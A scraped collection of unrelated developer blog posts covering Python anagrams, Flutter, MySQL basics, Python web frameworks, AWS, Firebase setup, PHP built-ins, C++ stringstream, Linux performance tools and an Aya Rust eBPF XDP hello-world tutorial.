from collections import defaultdict
def group_anagrams(strs):
count = defaultdict(list)
for i in strs:
count[tuple(sorted(i))].append(i)
return count.values()
```
Note: **defaultdict** is a sub-class of the dictionary class that returns a dictionary-like object. The functionality of both dictionaries and defaultdict are almost same except for the fact that defaultdict never raises a KeyError. It provides a default value for the key that does not exists.
**Tuple** is an ordered, immutable collection of elements. | whereislijah | |
1,881,838 | [Flutter] Future 대신 void 를 사용하는 이유 | void를 사용하는 경우: 메서드가 의미있는 데이터를 반환하지 않거나 주요 목적이 작업을 수행하거나 앱 상태를 업데이트하는 경우 void를 사용합니다. 예를... | 0 | 2024-06-09T05:40:11 | https://dev.to/sidcodeme/flutter-future-daesin-void-reul-sayonghaneun-iyu-3ckh | flutter, developer, void, future | ### void를 사용하는 경우:
메서드가 의미있는 데이터를 반환하지 않거나 주요 목적이 작업을 수행하거나 앱 상태를 업데이트하는 경우 void를 사용합니다.
예를 들어, 사용자 상호 작용을 처리하거나, 환경 설정을 설정하거나, 특정 결과를 반환하지 않고 시간이 걸리는 복잡한 계산을 수행하는 메서드 등이 있습니다.
### Future를 사용하는 경우:
메서드가 비동기 작업을 수행하고 미래에 값 또는 결과를 반환하는 경우 Future를 사용합니다.
예를 들어, 네트워크에서 데이터를 가져오거나, 저장소에서 파일을 로드하거나, 시간이 걸리는 복잡한 계산을 수행하는 메서드 등이 있습니다.
### 추가 고려 사항:
값을 반환하지 않는 메서드에 void를 사용하면 코드가 더 간결하고 읽기 쉽습니다.
진정으로 값 또는 결과를 반환하는 메서드에 Future를 사용하면 비동기 작업 및 결과 처리를 구조적으로 처리할 수 있는 방법을 제공합니다.
### 정리
void와 Future의 선택은 메서드의 특정 목적과 값을 반환하거나 작업을 수행하는지에 따라 다릅니다.
값을 반환하지 않고 작업 수행 또는 상태 업데이트에 중점을 둔 메서드에는 void를 사용합니다.
비동기 작업을 수행하고 미래에 값 또는 결과를 반환하는 메서드에는 Future를 사용합니다.
### 목적성
일반적으로 void 대신 Future<void>를 비동기 함수에 사용하는 것이 좋습니다.
Future<void>는 작업 연결 또는 오류 처리가 필요한 경우 특히 더 많은 유연성과 제어 기능을 제공합니다.
void는 이러한 기능이 필요하지 않은 간단한 비동기 작업에 적합합니다. | sidcodeme |
1,881,455 | All about MySQL | Hey Fellow Developers! Let’s talk about a powerhouse in the database world: MySQL. Whether you’re... | 27,645 | 2024-06-09T05:21:22 | https://dev.to/shafayeat/all-about-mysql-e30 | beginners, tutorial, mysql, database | Hey Fellow Developers!
Let’s talk about a powerhouse in the database world: MySQL. Whether you’re building a small personal project or a large enterprise application, MySQL can be your go-to solution for managing data efficiently. So, grab your favorite non-alcoholic drink (because alcohol isn't great for coding and might remind you of your ex), get comfy, and let’s dive into what MySQL is all about and how it can supercharge your development process!
---
**What is MySQL?**
MySQL is an open-source relational database management system (RDBMS) that uses Structured Query Language (SQL) for accessing and managing data. It’s known for its reliability, robustness, and ease of use, making it one of the most popular databases in the world. Here’s a quick overview of its key features:
- **Performance:** High-speed performance for both read and write operations.
- **Scalability:** Scales effortlessly from small applications to large databases with millions of records.
- **Security:** Strong data protection with encryption, authentication, and authorization features.
- **Community and Support:** Extensive documentation, active community, and commercial support options.
---
**Getting Started with MySQL**
Setting up and using MySQL is straightforward. Here’s a quick guide to get you started:
**1)Install MySQL:**
- You can download and install MySQL from the [official website](https://www.mysql.com/).
- Follow the installation instructions specific to your operating system.
**2)Set Up MySQL Server:**
- After installation, start the MySQL server.
- Secure your installation by setting a root password and removing anonymous users and test databases using:
```
mysql_secure_installation
```
**3)Access MySQL:**
- Access the MySQL server using the MySQL command-line tool:
```
mysql -u root -p
```
- Enter your password when prompted.
**4)Create a Database and Table:**
- Create a new database:
```
CREATE DATABASE my_database;
```
- Use the new database:
```
USE my_database;
```
- Create a table:
```
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(100),
email VARCHAR(100)
);
```
**5)Insert Data:**
- Insert data into your table
```
INSERT INTO users (name, email) VALUES ('Shafayet Hossain', 'shafayeat.me@example.com');
```
**6)Query Data:**
- Retrieve data from your table
```
SELECT * FROM users;
```
---
**MySQL vs. SQL: What's the Difference?**
While MySQL and SQL are closely related, they’re not the same thing. Here’s a quick breakdown of the differences:
**SQL**(Structured Query Language)-
**What it is:** A standardized language used for querying and managing relational databases.
**Purpose:** Provides a way to communicate with and manipulate databases.
**Use Cases:** SQL commands like SELECT, INSERT, UPDATE, and DELETE are used across various database systems.
**Why You'll Love MySQL**
MySQL offers a balance of power and simplicity, making it a favorite among developers. Here’s why you’ll love it:
- User-Friendly: Easy to set up and use, with plenty of tutorials and resources available.
- Flexibility: Supports a wide range of applications from web development to data warehousing.
- Reliability: Proven track record of stability and reliability in production environments.
- Open Source: Free to use and modify, with a vibrant community contributing to its continuous improvement.
---
**Final Thoughts**
MySQL is a versatile and powerful database solution that can handle a variety of data management needs. Whether you’re just starting out or looking to optimize your existing database setup, MySQL has the tools and features to help you succeed. Dive in, experiment, and see how MySQL can enhance your development projects.
Go ahead and share your MySQL thoughts or ask away, 'cause we totally value your input! | shafayeat |
1,881,837 | FastAPI vs Flask vs Django: Which Framework to Choose? | Picking the right web framework is super important for your project's success. With so many choices... | 0 | 2024-06-09T05:40:01 | https://www.developerchronicles.com/fastapi-vs-flask-vs-django-which-framework-to-choose | python, fastapi, flask, django | Picking the right web framework is super important for your project's success. With so many choices out there, it can be tough to figure out which one is the best fit for you. In this article, we'll compare three popular Python frameworks—Flask, Django, and FastAPI. We'll highlight their key features, use cases, and advantages to help you make a well-informed decision.
## Overview of the Frame works
**Flask**
- Flask is a Python-based micro web framework that is lightweight and adaptable.
- It's designed to be simple and easy to use, allowing developers to quickly create web apps.
- Flask includes tools and libraries for routing URLs to functions, handling HTTP requests and responses, and managing sessions.
- It follows the WSGI (Web Server Gateway Interface) specification and can be deployed on various web servers.
- Flask is often used for smaller projects or when developers want more control over the app's design.
**Django**
- Django is a high-level Python web framework that makes development fast and straightforward.
- It follows the MVC (Model-View-Controller) pattern, but calls it MTV (Model-Template-View).
- Django provides a complete solution, including an ORM (Object-Relational Mapper) for database work, an admin interface, URL routing, form handling, and templates.
- It focuses on DRY (Don't Repeat Yourself) principles and has many built-in features to help you develop quickly.
- Django is perfect for bigger, more complex applications where you need a comprehensive set of tools.
**FastAPI**
- FastAPI is a modern and speedy web framework for building APIs with Python 3.7+ using standard Python type hints.
- It's built on top of Starlette for the web parts and Pydantic for the data parts.
- FastAPI is designed for high performance, using async/await syntax to handle requests asynchronously.
- It automatically creates interactive API documentation (Swagger UI) based on the code's type annotations, making it easy to understand and test APIs.
- FastAPI is becoming popular because it's easy to use, performs well, and supports modern Python features like type hints and async/await.
## Comparing Flask, Django, and FastAPI: Learning Curve, Performance, and Use Cases
Now that we have an overview of these frameworks, let's compare them in terms of **'Ease of Learning'**, **'Performance'**, and '**Use Cases'**.
### Ease of Learning
**Flask** is the easiest to learn. With Flask, you can have a fully functioning website or API in just a few minutes. Flask is known for its simplicity and straightforward style, making it easy for newcomers to pick up. Its documentation is thorough and well-organized, with clear instructions for getting started and building applications. Flask's flexibility allows developers to start small and gradually expand their knowledge as they dive deeper into web development.
**Django**, while more feature-rich than Flask, has a steeper learning curve due to its extensive feature set and strict conventions. However, Django's comprehensive documentation, including the official tutorial, makes it accessible to developers of all skill levels. Once users grasp Django's concepts and standards, they can leverage its powerful built-in tools for rapid development.
**FastAPI** strikes a balance between simplicity and power, making it very easy to learn, especially for those familiar with modern Python syntax. Its documentation is detailed, highlighting its key features and providing clear examples for implementation. FastAPI's automatic generation of API documentation helps developers quickly understand and utilize its capabilities, enabling them to start building high-performance APIs in no time.
### Performance
**Flask:** Flask is a lightweight microframework that performs well for small to medium-sized applications. It's designed to be flexible and minimalist, so for larger and more complex systems, you might need to add some extra optimizations. The performance of Flask largely depends on the libraries and extensions you choose to use.
**Django:**
Django is a full-stack framework, which means it has a bit more overhead compared to Flask because of its many features. However, Django is still quite powerful, especially for larger applications. It comes with built-in optimizations and caching mechanisms that help handle high traffic loads effectively. With the right configuration and tweaks, Django can perform exceptionally well.
**FastAPI:** FastAPI is known for its amazing performance, thanks to its asynchronous design and efficient request handling. By using modern Python features like async/await, FastAPI can manage a large number of concurrent connections with minimal resources. This makes it particularly great for building APIs where speed and scalability are crucial. FastAPI's speed makes it a fantastic choice for high-performance applications and microservices.
### Use Cases
**Flask:** Flask is perfect for creating small to medium-sized web applications and APIs where you need simplicity and flexibility. It's a favorite for projects that need a lightweight framework with minimal fuss. Flask's modular design lets you pick only the parts you need, making it great for prototyping, quick development, and projects with specific needs or limitations.
**Django:** Django shines when building large, full-featured web applications and content management systems (CMS). It's the go-to for projects that need a lot of built-in tools, like user authentication, an admin interface, ORM for database interactions, and URL routing. Django's all-in-one approach is ideal for complex data models, high-traffic sites, or projects that need to be developed quickly without losing scalability or maintainability.
**FastAPI:** FastAPI is all about building high-performance APIs with minimal code and maximum efficiency. It's the best choice for projects that need speed, scalability, and asynchronous processing, like microservices, real-time apps, or backends handling many concurrent requests. FastAPI also automatically generates interactive API documentation, making it perfect for projects where clear documentation and easy integration are key.
Community and Ecosystem
**Flask:** Flask has a lively and active community, with many third-party extensions and libraries contributed by developers from all over the world. The Flask ecosystem provides plenty of resources, including tutorials, documentation, and community forums, making it easy for developers to get help and find solutions to their problems. While Flask's ecosystem might not be as large as Django's, its simplicity and flexibility inspire community members to create lightweight and specialized tools for specific needs, encouraging innovation and experimentation within the Flask community.
**Django:** Django has one of the biggest and most established ecosystems among Python web frameworks. It comes with a strong set of built-in features and a huge collection of third-party packages and extensions available through the Django Package Index (PyPI). The Django community is known for being inclusive, accessible, and actively involved in developing and maintaining the framework. With reusable apps and plugins, detailed documentation, and community-driven forums, Django offers developers a ton of resources and support for building web applications of any size and complexity.
**FastAPI:** Despite being a newer player compared to Flask and Django, FastAPI has quickly become a favorite in the Python community. Its outstanding performance and modern way of building APIs have won many hearts. The FastAPI ecosystem is growing fast, with more and more contributors and a rising number of third-party tools and integrations. Although it's still evolving, the FastAPI community is known for its enthusiasm and helpfulness. Developers are always sharing resources, tutorials, and best practices, making it easy for newcomers to get started and for experienced users to fine-tune their projects for top efficiency.
### Job Prospects
Which of these frameworks should you learn if you're aiming to land a developer role? Honestly, Django is the most popular framework and appears in most job listings. It's the go-to choice for building websites or back-end services with Python. If you're looking to secure a developer job, learning Django is your best bet.
There are also opportunities for Flask and FastAPI, especially with smaller companies or startups. However, you'll most often see Django as the primary framework in job descriptions.
### Conclusion
In conclusion, choosing the right web framework depends on your project's specific needs and goals. Flask is ideal for small to medium-sized applications where simplicity and flexibility are key. Django is perfect for larger, more complex projects that require a full-featured framework with built-in tools and scalability. FastAPI stands out for its high performance and modern features, making it the best choice for building high-performance APIs and microservices. Each framework has its strengths, and understanding these can help you make an informed decision that aligns with your project requirements and development preferences. | terrancoder |
1,881,836 | AWS 101: An Introduction to Amazon Web Services | In today’s digital landscape, the cloud has become ubiquitous, transforming the way we store data,... | 27,646 | 2024-06-09T05:38:37 | https://dev.to/prakash_rao/aws-101-an-introduction-to-amazon-web-services-3mn6 | aws, cloud, beginners, devops |
In today’s digital landscape, the cloud has become ubiquitous, transforming the way we store data, deploy applications, and scale businesses. At the forefront of this revolution is Amazon Web Services (AWS), a subsidiary of Amazon providing a robust, fully featured technology infrastructure platform in the cloud. This guide is crafted to enlighten newcomers and provide a birds-eye view of the vast expanse of AWS services and the incredible potential they hold.
**What is AWS?**
Amazon Web Services emerged as a cloud service powerhouse, offering a rich collection of scalable and cost-effective cloud computing solutions. AWS provides a diversified portfolio of cloud services that cater to various aspects of computing, including but not limited to, servers, storage, networking, remote computing, email, mobile development, and security.
**History of AWS**
The inception of AWS dates back to 2006 when it began offering IT infrastructure services to businesses in the form of web services, now commonly known as cloud computing. With the launch of Amazon S3 (Simple Storage Service) and Amazon EC2 (Elastic Compute Cloud), AWS provided a new paradigm for renting IT infrastructure, forever changing the IT landscape.
**Core Services of AWS**
There are several AWS Core Services that provide measurable value to customers in many ways. Some of the most frequently used core services are listed below:
## **Compute**
-
**Amazon EC2 (Elastic Compute Cloud):** This service allows customers to rent virtual servers where they can run applications. It's a cornerstone of AWS’s offering, providing resizable compute capacity in the cloud, which is instrumental in reducing the time required to obtain and boot new server instances.
-
**AWS Lambda:** This event-driven, serverless computing platform enables you to run code in response to triggers such as changes in data, system state, or user actions, without managing servers.
-
**Amazon Lightsail:** Designed for simpler use cases, it provides everything needed to jumpstart a project – virtual machines, managed databases, SSD-based storage, data transfer, DNS management, and static IP – at a low, predictable price.
## **Storage:**
- **Amazon S3 (Simple Storage Service):** An object storage service offering industry-leading scalability, data availability, security, and performance, S3 is designed to store and retrieve any amount of data from anywhere on the web.
- **Amazon EBS (Elastic Block Store):** Offers persistent storage volumes for use with EC2 instances, providing high-availability block-level storage.
- **Amazon Glacier:** A secure, durable, and extremely low-cost cloud storage service for data archiving and long-term backup, ideal for data that is infrequently accessed.
## **Databases:**
- **Amazon RDS (Relational Database Service):** Simplifies the setup, operation, and scaling of a relational database for use in applications. It provides cost-efficient and resizable capacity while automating time-consuming administration tasks.
- **Amazon DynamoDB:** A fast and flexible NoSQL database service for all applications that need consistent, single-digit millisecond latency at any scale.
- **Amazon Redshift:** A fully managed, petabyte-scale data warehouse service that makes it simple and cost-effective to analyze all your data.
## **Networking:**
- **Amazon VPC (Virtual Private Cloud):** Provides a logically isolated area of the AWS cloud where you can launch AWS resources in a virtual network that you define.
- **AWS Direct Connect:** As opposed to typical internet-based connections, AWS Direct Connect provides a private, dedicated network connection from your premises to AWS.
- **Amazon Route 53:** A scalable and highly available DNS web service, designed to give developers and businesses an extremely reliable and cost-effective way to route end users to internet applications.
---
## **Benefits of Using AWS:**
- **Elasticity and Scalability:** With AWS, you can easily dial up or down to handle changes in requirements or spikes in popularity, reducing the need to forecast traffic.
- **Cost-Effective:** AWS offers a pay-as-you-go approach for pricing. This provides flexibility and allows for cost planning that traditional on-premises servers simply can’t offer.
- **Security and Compliance:** AWS is committed to the highest levels of security. Their infrastructure is designed to keep your data safe, no matter the size of your company or the sector you operate in.
- **Reliability:** AWS provides a highly reliable environment where replacement instances can be rapidly and predictably commissioned. The service runs within Amazon’s proven network infrastructure and data centers.
## How to Get Started with AWS:
1. Create an AWS account and begin with the Free Tier, which includes 12 months of free, limited access to a wide range of services.
2. Familiarize yourself with the AWS Management Console, which is the unified interface to manage AWS services.
3. Start experimenting with AWS core services like EC2 for computing and S3 for storage, crafting your first cloud-native applications.
4. Dive into extensive resources such as AWS documentation, whitepapers, and the AWS Training and Certification programs to accelerate your learning curve and leverage the full capabilities of AWS.
## Conclusion:
AWS is not just a powerful platform for cloud infrastructure; it's a launchpad for innovation. By harnessing the flexibility, scalability, and reliability of AWS, businesses and developers can deploy applications faster, more securely, and at a scale that was once unimaginable. Whether you're a startup or an established enterprise, or a public sector organization, AWS has the tools to increase your easiness of operations into a new era of computing.
| prakash_rao |
1,881,835 | White screen issue occurs ?. It could assist you while integrating Firebase with your Flutter app (Android). | These instructions can assist you if you are experiencing white screen issues when integrating your... | 0 | 2024-06-09T05:32:57 | https://dev.to/ozonexkeshav07/white-screen-issue-occurs-it-could-assist-you-while-integrating-firebase-with-your-firebase-app-android-536n | flutter, firebase, dart, programming | These instructions can assist you if you are experiencing white screen issues when integrating your Flutter app with Firebase.
Go to :-
Project Folder/android/app/src/main/res/values
Now you have to find values.xml
if it is there then edit according to my steps as shown below or if it is now there just create values.xml (code is provided in last of this Post)
Required things :-
1.firebase_database_url (open firebase console and go to real time database and copy the url .
2.gcm_defaultSenderId (open firebase console and go project overview >> project setting >>cloud messaging >> senderId)
3.google_api_key (open goolgle_services.json , you will get it)
4.google_app_id (open goolgle_services.json , you will get it)
5.project_id (open goolgle_services.json , you will get it)
6.firebase_storage_bucket (open goolgle_services.json , you will get it)
value.xml code :-
```
<resources>
<string name="firebase_database_url" translatable="false">Write your firebase_database_url</string>
<string name="gcm_defaultSenderId" translatable="false">write your Sender id</string>
<string name="google_api_key" translatable="false">write your google_api_key</string>
<string name="google_app_id" translatable="false">write your google_app_id</string>
<string name="project_id" translatable="false">write your project_id</string>
<string name="firebase_storage_bucket">write your firebase_storage_bucket</string>
</resources>
```
Hope these steps will works for you
Thank you :) | ozonexkeshav07 |
1,881,834 | Why Leveraging PHP Built-in Functions Can Enhance Your Application's Performance | In the fast-paced world of web development, optimizing the performance of your application is... | 0 | 2024-06-09T05:31:35 | https://dev.to/shahoriar_fahim/why-leveraging-php-built-in-functions-can-enhance-your-applications-performance-5659 | laravel, php, smartcode | In the fast-paced world of web development, optimizing the performance of your application is crucial. Whether you're developing a small website or a large-scale enterprise application, efficiency matters. One often overlooked yet powerful way to achieve this is by leveraging PHP's built-in functions. In this article, we'll explore why using PHP built-in functions wherever possible can significantly reduce runtime and improve your application's performance.
**The Power of Built-in Functions**
PHP, a server-side scripting language known for its simplicity and versatility, comes with a rich set of built-in functions. These functions are written in C, optimized for performance, and compiled directly into the PHP binary. Here’s why using them can be a game-changer:
**1. Optimized for Speed**
Built-in functions are highly optimized for speed and performance. They are executed directly by the PHP engine, which is written in C, resulting in faster execution compared to custom PHP code. For example, array manipulation functions like array_map(), array_filter(), and array_reduce() are not only more concise but also more efficient than their manually coded counterparts.
**2. Memory Efficiency**
Memory management is another area where built-in functions shine. They are designed to handle memory allocation and deallocation more efficiently. Functions like array_merge() and array_slice() are optimized to perform operations without unnecessary memory overhead, ensuring that your application runs smoothly even with large data sets.
**3. Security and Reliability**
Built-in functions undergo rigorous testing and are maintained by the PHP core development team. This ensures they are secure, reliable, and free from common bugs that might plague custom implementations. Using functions like filter_var() for input validation or password_hash() for secure password hashing helps safeguard your application against common security vulnerabilities.
**4. Reduced Development Time**
Built-in functions can significantly reduce development time. They provide a ready-made, tested, and optimized solution for common tasks, allowing developers to focus on the unique aspects of their application. For instance, instead of writing a custom function to sort an array, using sort() can save time and reduce code complexity.
**5. Consistency and Readability**
Using built-in functions promotes consistency and readability in your codebase. Developers familiar with PHP will immediately understand what functions like implode(), explode(), or substr() do, making the code easier to read and maintain. This is particularly beneficial in team environments where multiple developers work on the same codebase.
**Practical Examples**
Let’s look at a few practical examples to illustrate the benefits:
**1. Array Filtering:**
**Using array_filter():**
```
$numbers = [1, 2, 3, 4, 5];
$evenNumbers = array_filter($numbers, function($num) {
return $num % 2 == 0;
});
```
**Equivalent custom code:**
```
$numbers = [1, 2, 3, 4, 5];
$evenNumbers = [];
foreach ($numbers as $num) {
if ($num % 2 == 0) {
$evenNumbers[] = $num;
}
}
```
The built-in array_filter() function is more concise, easier to read, and optimized for performance.
**2. String Manipulation:**
**Using str_replace():**
```
$text = "Hello World!";
$newText = str_replace("World", "PHP", $text);
```
**Equivalent custom code:**
```
$text = "Hello World!";
$newText = '';
$search = "World";
$replace = "PHP";
$pos = strpos($text, $search);
if ($pos !== false) {
$newText = substr($text, 0, $pos) . $replace . substr($text, $pos + strlen($search));
}
```
Again, str_replace() is simpler, cleaner, and faster.
**Conclusion**
In conclusion, leveraging PHP's built-in functions is a best practice that can lead to significant performance improvements in your applications. They are faster, more memory-efficient, secure, reliable, and help reduce development time. By incorporating these functions wherever possible, you not only optimize the performance of your application but also ensure that your code remains clean, consistent, and maintainable.
As senior developers, it's our responsibility to write efficient, high-quality code. Embracing PHP's built-in functions is a simple yet effective way to achieve this. Start integrating these powerful tools into your projects today and experience the benefits firsthand.
| shahoriar_fahim |
1,881,833 | String Stream in C++ | What is Stringstream Class in C++? stringstream is a part of the C++ Standard Library, included in... | 0 | 2024-06-09T05:31:15 | https://dev.to/ars_3010/string-stream-in-c-5cof | cpp, programming, stl, string | **What is Stringstream Class in C++?**
stringstream is a part of the C++ Standard Library, included in the sstream header, and is used for performing input and output operations on strings. It allows you to treat a string like a stream (such as cin or cout), enabling formatted input and output operations.
**Commonly Used Methods of Stringstream Class in C++**
1. clear() :- To clear the stream.
2. str() :- To get and set string object whose content is present in the stream.
3. operator << :- Add a string to the stringstream object.
4. operator >> :- Read something from the stringstream object.
```
#include <iostream>
#include <sstream>
#include <string>
using namespace std;
int main() {
// Create a stringstream object
stringstream ss;
// Using operator<< to add data to the stringstream
ss << "123 456 789";
// Output the current content of the stringstream using str()
cout << "Initial stringstream content: " << ss.str() << endl;
// Variables to hold extracted values
int a, b, c;
// Using operator>> to extract data from the stringstream
ss >> a >> b >> c;
// Display the extracted values
cout << "Extracted values: " << a << " " << b << " " << c << endl;
// Clear the stringstream using clear()
ss.clear();
// Check the content after clearing (should be empty)
cout << "After clear() - current stringstream content: " << ss.str() << endl;
// Set a new string to the stringstream using str()
ss.str("987 654 321");
// Output the new content of the stringstream
cout << "After str() set new content: " << ss.str() << endl;
// Extract data from the stringstream again
ss >> a >> b >> c;
// Display the newly extracted values
cout << "Newly extracted values: " << a << " " << b << " " << c << endl;
// Clear the stringstream and reset the stringstream content
ss.clear();
ss.str("");
// Verify that the stringstream is cleared
cout << "Final stringstream content after clear and str reset: '" << ss.str() << "'" << endl;
return 0;
}
```
` n` represents the size of the string content in the stream, and `m` represents the size of the data being inserted or extracted.
```
// C++ program to demonstrate use of stringstream to count frequencies of words.
#include <bits/stdc++.h>
using namespace std;
void printFrequency(string st)
{
// Each word it mapped to it's frequency
map<string, int> FW;
// Used for breaking words
stringstream ss(st);
// To store individual words
string Word;
while (ss >> Word)
FW[Word]++;
for (auto m : FW)
cout << m.first << "-> " << m.second << "\n";
}
int main()
{
string s = "May the force be with you";
printFrequency(s);
return 0;
}
```
| ars_3010 |
1,881,794 | Learn In Public! | Hello People, I am starting a "Learn In Public" challenge. I will share my learning on Linkedin and... | 0 | 2024-06-09T05:16:42 | https://dev.to/gous_sayyad/learn-in-public-4p7j | devops, learning, aws, cloud | Hello People,
I am starting a **"Learn In Public"** challenge. I will share my learning on Linkedin and write detailed blogs about it. In the LinkedIn post, you can expect details about free learning resources and a summary of the technology I learned.
**Stay tuned!**
Don't forget to connect with me on LinkedIn for more updates.
**LinkedIn Profile:** https://www.linkedin.com/in/gous30/ | gous_sayyad |
1,881,793 | Troubleshooting Usando Vmstat, Iotop e Stress | Neste artigo iremos falar sobre os comandos vmstat, stress e iotop para verificação da saúde e... | 0 | 2024-06-09T05:16:07 | https://dev.to/rafaelbonilha/troubleshooting-usando-vmstat-iotop-e-stress-35a9 | linux, maintenance, cloud, systems | Neste artigo iremos falar sobre os comandos vmstat, stress e iotop para verificação da saúde e troubleshooting de servidores Linux. São ferramentas muito usadas pelos administradores de sistemas para garantir a saúde e eficiência dos sistemas em ambientes críticos e de produção.
#Vmstat
O **vmstat** (virtual memory statistics) é uma ferramenta do pacote procps que fornece uma foto abrangente do desempenho do sistema, trazendo informações sobre processos em execução, memória, swap, E/S de disco e dados sobre uso de CPU.
Sua sintaxe é simples, basta digitar vmstat e ele já trará informações sobre o sistema.
Os argumentos usados são **n** (número) onde ele exibe uma saída atualizada a cada n segundos. Ex.: vmstat 5
**-m **ele irá exibir informações do slabinfo, se o seu sistema tiver suporte para ele. Para usar esse argumento, você precisa estar usando permissões de sudo ou como root(não recomendado). Ex.: vmstat -m
**-D** para exibir informações de atividade do disco. Ex: vmstat -D
**-t** para anexar carimbo de data/hora na saída do comando para efeitos de log/auditoria. Ex.: vmstat 3 -t
**-p** /nomedodisco - Para exibir informações de E/S por partição, por exemplo.: **vmstat -p /dev/sda**
#Iotop
iotop é uma ferramenta interativa como o htop onde exibe informações sobre o uso de E/S de discos no Linux. Ele mostra os desempenho de gravação e leitura em tempo real, mostrando os processos e usuários que estão executando gravações e leituras no disco tanto com desempenho total como por cada processo em execução. Com iotop é possível identificar processos que podem estar causando sobrecarga de leitura ou gravação no disco, degradando o desempenho do sistema ou até mesmo provocando danos no disco por sobrecarga.
Para usar o comando, basta digitar iotop.:
#Stress
Este comando é usado para verificar o quanto é confiável o sistema simulando cargas de trabalho. Você pode simular cargas de consumo de CPU, Disco e Memória de forma a verificar o tão resiliente é o seu sistema.
A sintaxe do comando é **stress** e os principais argumentos são.:
**--cpu númerodecpu** -> Para simular cargas de trabalho que usem CPU basta digitar stress --cpu 8 por exemplo para simular uma carga que faça uso de 8 processadores.
**--io númerodeio** -> Para simular cargas de trabalho que usam E/S, usa-se o stress --io 6 por exemplo.
**--vm númerodeworkers** -> Para simular a criação de VMs no seu ambiente, digite stress --vm 4. Se usado com o argumento --vm-bytes você pode definir quanto cada VM irá usar de memória, por exemplo stress --vm 4 --vm-bytes 512M para criar 4 VMs com 512MB de memória cada uma.
O **stress** é usado também para testes em equipamentos pessoais ou corporativos para validar se eles são capazes de suportar as tarefas para quais foram projetados.
Para maiores informações sobre esses comandos basta digitar a opção --help via linha de comando.
**Referências.:**
https://www.redhat.com/sysadmin/linux-commands-vmstat
https://www.guiafoca.org/guiaonline/intermediario/ch07s12.html
https://www.tecmint.com/iotop-monitor-linux-disk-io-activity-per-process/
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/8/html/optimizing_rhel_8_for_real_time_for_low_latency_operation/assembly_stress-testing-real-time-systems-with-stress-ng_optimizing-rhel8-for-real-time-for-low-latency-operation
https://www.golinuxcloud.com/stress-command-in-linux/
| rafaelbonilha |
1,881,792 | Aya Rust tutorial Part Four XDP Hello World | © steve latif Aya Rust Tutorial Part 4: XDP Hello World Welcome to part 4. So far we... | 0 | 2024-06-09T05:05:19 | https://dev.to/stevelatif/aya-rust-tutorial-part-four-xdp-hello-world-4c85 | ebpf, rust, linux, networking | © steve latif
# Aya Rust Tutorial Part 4: XDP Hello World
Welcome to part 4. So far we have installed the prerequisite in part 2,
built eBPF code that loads into the kernel and passes the
verifier. Let's continue on by building another XDP
program that will print a message every time it receives a packet
on an interface. As in part 3 we will use the loopback interface.
This will show how to print a message from the kernel. This is analogous
to using 'bpf_printk' in the eBPF programs in C, see [here](https://github.com/libbpf/libbpf-bootstrap/blob/master/examples/c/kprobe.bpf.c_ul
This will involve only a few more lines of code and
will follow the same build and deployment process as in the previous chapter.
# Generating the code
As we did in part 3
generate the code using `cargo generate`
At the prompt select hello-world as the project name
Using the template, generate the code in directory \`hello-world\`, select the xdp option.
$ cargo generate https://github.com/aya-rs/aya-template
⚠️ Favorite `https://github.com/aya-rs/aya-template` not found in config, using it as a git repository: https://github.com/aya-rs/aya-template
🤷 Project Name: hello-world
🔧 Destination: /home/steve/articles/learning_ebpf_with_rust/xdp-tutorial/basic01-hello-world/hello-world ...
🔧 project-name: hello-world ...
🔧 Generating template ...
? 🤷 Which type of eBPF program? ›
cgroup_skb
cgroup_sockopt
cgroup_sysctl
classifier
fentry
fexit
kprobe
kretprobe
lsm
perf_event
raw_tracepoint
sk_msg
sock_ops
socket_filter
tp_btf
tracepoint
uprobe
uretprobe
❯ xdp
The generated code will if unaltered behave as a hello world program. In the
first part of this note we will modify the generated code, but come back
to it later
Modify the generated code in the file `hello-world/hello-world-ebpf/src/main.rs`
so that it looks like:
#![no_std]
#![no_main]
use aya_ebpf::{bindings::xdp_action, macros::xdp, programs::XdpContext};
use aya_ebpf::bpf_printk;
#[xdp]
pub fn hello_world(_ctx: XdpContext) -> u32 {
unsafe {
bpf_printk!(b"packet received!");
}
xdp_action::XDP_PASS
}
This code uses the unsafe macro [bpf_printk](https://docs.rs/aya-ebpf/latest/aya_ebpf/macro.bpf_printk.html)
to print out a message every time a packet is received on the interface.
It returns \`XDP\_PASS\`
bpf_printk is a useful tool for debugging. It is globally shared in the kernel
so other programs using it may disrupt its output.
## Compile the code
cargo xtask build-ebpf
cargo build
## Looking into the BPF-ELF object
As we did in the previous section, lets look at the generated eBPF byte code
$ llvm-readelf --sections target/bpfel-unknown-none/debug/hello-world
There are 7 section headers, starting at offset 0x2e0:
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .strtab STRTAB 0000000000000000 000238 0000a2 00 0 0 1
[ 2] .text PROGBITS 0000000000000000 000040 000098 00 AX 0 0 8
[ 3] xdp PROGBITS 0000000000000000 0000d8 000030 00 AX 0 0 8
[ 4] .relxdp REL 0000000000000000 000228 000010 10 I 6 3 8
[ 5] .rodata PROGBITS 0000000000000000 000108 000013 00 A 0 0 1
[ 6] .symtab SYMTAB 0000000000000000 000120 000108 18 1 8 8
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
R (retain), p (processor specific)
As before we have an xdp section, lets disassemble that:
$ llvm-objdump --no-show-raw-insn --section=xdp -S target/bpfel-unknown-none/debug/hello-world
target/bpfel-unknown-none/debug/hello-world: file format elf64-bpf
Disassembly of section xdp:
0000000000000000 <hello_world>:
0: r1 = 0 ll
2: r2 = 19
3: call 6
4: r0 = 2
5: exit
Recall that the registers for eBPF:
- r0: Stores a return value of a function, and exit value for an eBPF program
- r1 - R5: Stores function arguments
- r6 - R9: For general purpose usage
- r10: Stores an address for stack frame
line 0 zeroes out the r1 register
line 2 sets r2 to 19 - the length of the output string
line 3 makes a system call, the mysterious 6 is the index of
bpf_helpers found in [bpf.h](https://elixir.bootlin.com/linux/v5.3.7/source/include/uapi/linux/bpf.h#L2724)
line 4 sets the exit value to 2 which corresponds to XDP_PASS
To run this let's use cargo
$ cargo xtask build-ebpf
$ cargo build
$ cargo xtask run -- i lo
To see output, open another terminal enable tracing:
echo 1 | sudo tee /sys/kernel/debug/tracing/tracing_on
Then to see output
sudo cat /sys/kernel/debug/tracing/trace_pipe
From another terminal, ping the loopback interface
ping 127.0.0.1
You should see output being logged in the terminal where you ran the `trace_pipe` command
